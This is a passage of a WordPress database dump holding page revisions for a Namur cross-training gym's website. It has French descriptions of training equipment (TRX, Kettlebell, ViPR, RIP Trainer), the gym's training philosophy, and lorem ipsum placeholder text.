a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'publish', 'closed', 'open', '', 'le-cross-training', '', '', '2013-11-04 17:38:54', '2013-11-04 17:38:54', '', 0, 'http://www.crosstrainingcenter.be/?page_id=22', 0, 'page', '', 0),
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Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. 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Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 19:28:51', '2013-05-23 19:28:51', '', 5, 'http://www.crosstrainingcenter.be/?p=30', 0, 'revision', '', 0);
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(32, 1, '2013-07-10 16:11:47', '2013-07-10 16:11:47', '&lt;blockquote&gt;\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\n&lt;/blockquote&gt;\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\n&lt;h2&gt;&lt;/h2&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;ViPR&lt;/h1&gt;\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-autosave-v1', '', '', '2013-07-10 16:11:47', '2013-07-10 16:11:47', '', 22, 'http://www.crosstrainingcenter.be/?p=32', 0, 'revision', '', 0),
(31, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nblablabla', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 9, 'http://www.crosstrainingcenter.be/?p=31', 0, 'revision', '', 0),
(40, 1, '2013-06-16 08:02:41', '2013-06-16 08:02:41', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;b&gt;TRX Suspension Training &lt;/b&gt;&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;&lt;b&gt;Kettlebel&lt;/b&gt;&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;&lt;b&gt;ViPR&lt;/b&gt;&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;&lt;b&gt;RIP TRAINER&lt;/b&gt;&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 08:02:41', '2013-06-16 08:02:41', '', 22, 'http://www.crosstrainingcenter.be/?p=40', 0, 'revision', '', 0),
(33, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', 'définition, historique', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 22, 'http://www.crosstrainingcenter.be/?p=33', 0, 'revision', '', 0),
(34, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 5, 'http://www.crosstrainingcenter.be/?p=34', 0, 'revision', '', 0),
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(42, 1, '2013-06-13 16:26:32', '2013-06-13 16:26:32', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;PREVENIR&lt;/b&gt; – &lt;b&gt;AMELIORER&lt;/b&gt; – &lt;b&gt;RECUPERER&lt;/b&gt;.&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-13 16:26:32', '2013-06-13 16:26:32', '', 5, 'http://www.crosstrainingcenter.be/?p=42', 0, 'revision', '', 0),
(53, 1, '2013-06-16 10:24:38', '2013-06-16 10:24:38', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:24:38', '2013-06-16 10:24:38', '', 5, 'http://www.crosstrainingcenter.be/?p=53', 0, 'revision', '', 0),
(44, 1, '2013-06-16 08:20:16', '2013-06-16 08:20:16', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-41\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 08:20:16', '2013-06-16 08:20:16', '', 5, 'http://www.crosstrainingcenter.be/?p=44', 0, 'revision', '', 0),
(46, 1, '2013-06-16 10:02:09', '2013-06-16 10:02:09', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-43\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:02:09', '2013-06-16 10:02:09', '', 5, 'http://www.crosstrainingcenter.be/?p=46', 0, 'revision', '', 0),
(48, 1, '2013-06-16 10:05:33', '2013-06-16 10:05:33', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre 